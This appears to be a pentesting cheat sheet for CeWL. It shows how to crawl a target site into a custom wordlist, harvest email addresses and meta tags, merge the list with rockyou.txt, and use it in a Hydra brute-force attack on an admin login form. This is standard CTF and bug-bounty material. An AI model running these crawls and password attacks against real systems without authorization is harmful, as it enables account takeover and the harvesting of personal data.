CeWL Wordlists
Custom wordlist generator that crawls websites and extracts meaningful words for targeted brute-force attacks.
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Phase 1
Installation
1Check if CeWL is installed (Kali Linux usually has it pre-installed)
cewl2Install CeWL on Debian/Ubuntu/Kali
sudo apt update && sudo apt install cewl3Install from source (latest version)
git clone https://github.com/digininja/CeWL.git && cd CeWL && sudo ./install.shPhase 2
Basic Wordlist Generation
1Basic wordlist generation from target website
cewl https://example.com2-w = write output to file
cewl https://example.com -w wordlist.txt3-d = set crawl depth (1=main page, 2+=follow internal links)
cewl https://example.com -d 24-m = minimum word length (ignores words shorter than 6 chars)
cewl https://example.com -m 6Phase 3
Advanced Options
1Deep crawl (depth 3) with min word length 5
cewl https://example.com -d 3 -m 5 -w final.txt2--email = extract email addresses from the site
cewl https://example.com --email3--meta = extract meta tags/keywords from pages
cewl https://example.com --meta4Ignore SSL certificate errors
cewl https://example.com --no-check-certificate5Limit links per page to 10 (reduce noise)
cewl https://example.com --link-count 10Phase 4
CTF & Bug Bounty Workflow
1Step 1: Generate targeted wordlist from target
cewl http://target.com -d 2 -m 5 -w cewl.txt2Step 2: Review extracted words
cat cewl.txt3Step 3: Combine with generic wordlists (rockyou)
cat cewl.txt rockyou.txt > final_wordlist.txt4Step 4: Use with Hydra for brute-force
hydra -l admin -P final_wordlist.txt http-post-form "/login:username=^USER^&password=^PASS^:F=invalid"Phase 5
Example Output
1Sample words extracted from a corporate website
admin
dashboard
password
secure
user
account
login
settings
profile
admin-panel2Generate and view the wordlist immediately
cewl https://example.com -d 3 -m 5 -w words.txt && cat words.txtPhase 6
When CeWL is Powerful
1Extracts company-specific terms, product names, department names
Corporate websites with structured content2Finds recurring terms used in the application
Web applications with repeated keywords3Extracts navigation terms, menu items, common paths
Admin dashboards and panels4Product names, categories, brand-specific terms
E-commerce sites5CMS, forums, documentation sites with rich text
Platforms with structured contentPhase 7
Why CeWL Over Generic Lists
1Problem: Too many unrelated words for specific target
Generic: rockyou.txt = 14M+ passwords, most irrelevant2Advantage: High relevance, focused on actual content
CeWL: 50-500 targeted words from ACTUAL target site3Strategy: Combine targeted + generic for maximum coverage
cewl + rockyou = best of both worldsTools